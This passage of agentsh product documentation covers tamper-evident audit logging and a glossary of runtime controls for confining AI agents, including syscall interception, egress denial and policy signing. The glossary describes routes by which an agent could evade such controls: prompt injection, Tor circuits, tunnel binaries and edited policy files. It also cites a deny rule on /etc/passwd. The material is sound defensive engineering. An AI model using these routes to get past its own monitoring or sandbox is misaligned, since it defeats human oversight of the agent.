hashicorp_vault, gcp_kms key_file: "/etc/agentsh/hmac.key" ``` For enterprise key management, use an external KMS provider. See [Setup → Audit Log Integrity](https://www.agentsh.org/docs/setup/#audit-integrity-config) for the full configuration reference including AWS KMS, Azure Key Vault, HashiCorp Vault, and GCP Cloud KMS. ##### Encryption at rest Audit data can also be encrypted at rest using AES-256-GCM, independently of the integrity chain: ```yaml audit: encryption: enabled: true key_source: "file" key_file: "/etc/agentsh/encrypt.key" ``` ##### Verification Verify the integrity chain of any audit log file offline: ```bash ## Verify audit log integrity with a key file agentsh audit verify /var/log/agentsh/audit.log --key-file /etc/agentsh/hmac.key ## Verify using an environment variable for the key agentsh audit verify /var/log/agentsh/audit.log --key-env AGENTSH_HMAC_KEY ## Use SHA-512 algorithm agentsh audit verify /var/log/agentsh/audit.log --key-file hmac.key --algorithm hmac-sha512 ``` The verify command reads JSONL audit log entries line by line, checks `prev_hash` chain continuity, recomputes each HMAC to verify `entry_hash`, and reports any chain breaks with line number and reason. Compliance evidence The HMAC integrity chain provides the tamper-evident audit trail required by SOC 2, NIST AI RMF, and ISO 27001. Combined with encryption at rest and external KMS integration, audit data meets enterprise security and compliance requirements. --- # Glossary Source: https://www.agentsh.org/docs/glossary/ ## Glossary Definitions of key terms and concepts in execution-layer security for AI agents. ### Execution-Layer Security A runtime enforcement model that intercepts actual operating system calls — file I/O, network connections, process execution, signals — made by AI agents, rather than relying on prompt instructions or model alignment to constrain behavior. Policies are evaluated deterministically against real system operations at the kernel level. The agent never sees the enforcement; it simply cannot perform operations that policy does not permit. **Why it matters:** Unlike prompt-based controls, execution-layer security cannot be bypassed through prompt injection and provides auditable evidence of enforcement for compliance frameworks like SOC 2 and NIST AI RMF. *See: [Getting Started](https://www.agentsh.org/docs/) | [What Is Execution-Layer Security?](https://www.agentsh.org/execution-layer-security/)* ### Deterministic Enforcement Policy decisions based on deterministic rules — file paths, network destinations, process names, operation types — that produce the same result every time for the same input. A `deny` rule on `/etc/passwd` will always deny access, regardless of how the AI model frames its request or what prompt engineering is applied. **Why it matters:** Deterministic enforcement can be formally audited and verified. Auditors can review the policy, observe the behavior, and confirm the outcome is predictable — something impossible with probabilistic AI-based controls. *See: [Policy Reference](https://www.agentsh.org/docs/policy-reference/)* ### Non-Deterministic Security Controls Security mechanisms that depend on AI model behavior for enforcement — prompt engineering, system instructions, guardrail models, and output filtering. These controls are probabilistic: the same input may produce different outcomes depending on model state, context window contents, or adversarial inputs like prompt injection. **Why it matters:** Non-deterministic controls cannot guarantee enforcement. They can be bypassed through prompt injection, model updates, or context manipulation, and they cannot satisfy compliance requirements that demand verifiable, repeatable security controls. *See: [Getting Started](https://www.agentsh.org/docs/) — contrasts non-deterministic controls with execution-layer security* ### Policy A declarative set of rules defining what an AI agent can and cannot do at the execution layer. Policies specify decisions (`allow`, `deny`, `steer`, `approve`) for file access, network connections, command execution, signals, database access, and MCP tool calls. They are evaluated deterministically against actual system operations. **Why it matters:** Policies are the foundation of deterministic enforcement — they define the security boundary in a format that is human-readable, version-controllable, and auditable. *See: [Policy Reference](https://www.agentsh.org/docs/policy-reference/)* ### Database Proxy A runtime proxy that governs Postgres-family database traffic for declared services. agentsh routes governed processes through a per-session Unix socket, authenticates the connecting process with Linux peer credentials, evaluates connection policy, classifies SQL statements, applies optional `require_where` mutation guards, and emits database audit events before traffic reaches the upstream database. **Why it matters:** AI agents often reach production data through existing database clients. Database proxying makes SQL activity enforceable and auditable at runtime instead of relying on application code or prompt instructions. *See: [Database Proxy](https://www.agentsh.org/docs/database-proxy/) | [Policy Reference → Database Access](https://www.agentsh.org/docs/policy-reference/#database-access)* ### DB Service A named entry under `db_services` that declares a protected database upstream. Each service defines the database family, dialect, upstream `host:port`, and TLS mode used by the proxy. **Why it matters:** Database policy is scoped to declared services. agentsh can only route and govern database destinations the operator has identified in policy. *See: [Policy Reference → Database Access](https://www.agentsh.org/docs/policy-reference/#database-access)* ### Database Unavoidability The generated routing and bypass-prevention controls for declared `db_services`. When `policies.db.unavoidability` is `observe` or `enforce`, agentsh starts proxy listeners, redirects declared database connects to the proxy, denies direct egress to protected upstreams, and blocks common local Postgres Unix sockets for governed processes. **Why it matters:** The security boundary is destination egress denial, not a list of known database tools. Custom tunnel binaries still have to connect to the protected upstream and are denied there. *See: [Database Proxy → Unavoidability](https://www.agentsh.org/docs/database-proxy/#unavoidability)* ### Steering Redirecting agent operations to approved alternatives rather than simply allowing or denying them. For example, rewriting file paths to a sandboxed directory, redirecting network connections to an approved proxy, or substituting a command with a safer equivalent. The agent continues working without interruption, but its operations are transparently redirected. **Why it matters:** Steering enables security without blocking agent productivity. Instead of failing operations and requiring manual intervention, agents are guided to safe alternatives automatically. *See: [Features](https://www.agentsh.org/docs/features/)* ### Audit Trail An immutable, tamper-evident log of every operation intercepted at the execution layer — file access, network connections, process execution, policy decisions, and their outcomes. Audit trails use HMAC-based integrity verification to detect tampering and can be exported via OpenTelemetry for integration with SIEM and observability platforms. **Why it matters:** Audit trails provide the compliance evidence that security controls are working. They demonstrate to auditors exactly what an AI agent did, what was blocked, and what was allowed — with cryptographic proof of log integrity. *See: [Observability](https://www.agentsh.org/docs/observability/)* ### Ptrace Mode An opt-in enforcement backend that uses the Linux `ptrace` API to intercept syscalls at the kernel level. The ptrace tracer attaches to agent processes via `PTRACE_SEIZE` and intercepts execve, file I/O, network, and signal syscalls — enforcing the same policy rules as other security modes but without requiring seccomp user-notify, eBPF, Landlock, or FUSE. A seccomp BPF pre-filter can be injected into traced processes to reduce overhead to only policy-relevant syscalls. **Why it matters:** Ptrace mode enables full policy enforcement on restricted container runtimes — AWS Fargate, Modal (gVisor), and restricted Kubernetes — where the preferred kernel mechanisms are blocked. It provides ~95% of the protection of full mode as a fallback for environments that would otherwise be limited to minimal mode. *See: [Setup → Ptrace Mode](https://www.agentsh.org/docs/setup/#ptrace-mode) | [Features → Ptrace Enforcement](https://www.agentsh.org/docs/features/#ptrace-enforcement)* ### Policy Signing Cryptographic proof of policy authorship and integrity using Ed25519 detached signatures. Each policy YAML file has a companion `.sig` file containing a signature, key ID, signer label, and timestamp. Signatures are verified against a trust store of public keys, with configurable enforcement modes (`enforce`, `warn`, `off`). **Why it matters:** Policy signing ensures agents only enforce policies from trusted authorities. Without it, anyone with filesystem access could modify policy files to weaken or bypass enforcement. In `enforce` mode, an unsigned or tampered policy is rejected before the server starts. *See: [Features → Policy Signing](https://www.agentsh.org/docs/features/#policy-signing) | [Policy Reference → Policy Signing](https://www.agentsh.org/docs/policy-reference/#policy-signing)* ### HMAC Integrity Chain A tamper-evident audit logging mechanism where each log entry contains an HMAC hash that depends on the previous entry, forming a cryptographic chain. The hash covers the sequence number, previous hash, and canonical JSON payload. Supported algorithms are HMAC-SHA256 and HMAC-SHA512, with keys managed via local files, environment variables, or enterprise KMS providers (AWS KMS, Azure Key Vault, HashiCorp Vault, GCP Cloud KMS). **Why it matters:** A single modified, inserted, or deleted log entry breaks the chain from that point forward. This provides the tamper-evident audit trail required by SOC 2, NIST AI RMF, and ISO 27001 — auditors can cryptographically verify that no log entries have been altered after the fact. *See: [Observability → Audit Log Integrity](https://www.agentsh.org/docs/observability/#audit-integrity) | [Setup → Audit Log Integrity](https://www.agentsh.org/docs/setup/#audit-integrity-config)* ### Trust Store A directory of Ed25519 public key files used to verify policy signatures. Each key file contains a `key_id` (derived as `hex(SHA256(public_key_bytes))`), a human-readable `label`, and an optional `expires_at` timestamp for time-based revocation. The trust store validates key identity, rejects duplicates, and enforces file permission requirements in `enforce` mode. **Why it matters:** The trust store is the root of trust for policy verification. It determines which signing keys are authorized, enabling organizations to enforce that only designated teams or systems can produce valid policies. *See: [Setup → Policy Signing](https://www.agentsh.org/docs/setup/#policy-signing-config)* ### Tor Access Control A deny-by-default policy block (`tor:`) that treats the Tor network as a category to deny, audit, or allow with a single intent. One setting expands into enforcement across five vectors: Tor client binaries, local SOCKS/control ports, `.onion` DNS, `.onion` HTTP, and direct relay IPs. In allow mode, an optional **onion gateway** applies per-`.onion` `onion_rules` by inspecting the SOCKS5 `CONNECT`/`RESOLVE` handshake, permitting named hidden services while denying the rest. Every match emits a `tor_control` audit event. **Why it matters:** Tor encrypts traffic to its relays, so an agent that bootstraps a Tor client can reach any destination with the real target hidden inside the circuit — bypassing every IP, DNS, and host egress control at once. Denying the category by default closes that evasion path without needing to phone home. *See: [Policy Reference → Tor Access Control](https://www.agentsh.org/docs/policy-reference/#tor-access) | [Features → Tor Access Control](https://www.agentsh.org/docs/features/#tor-control)*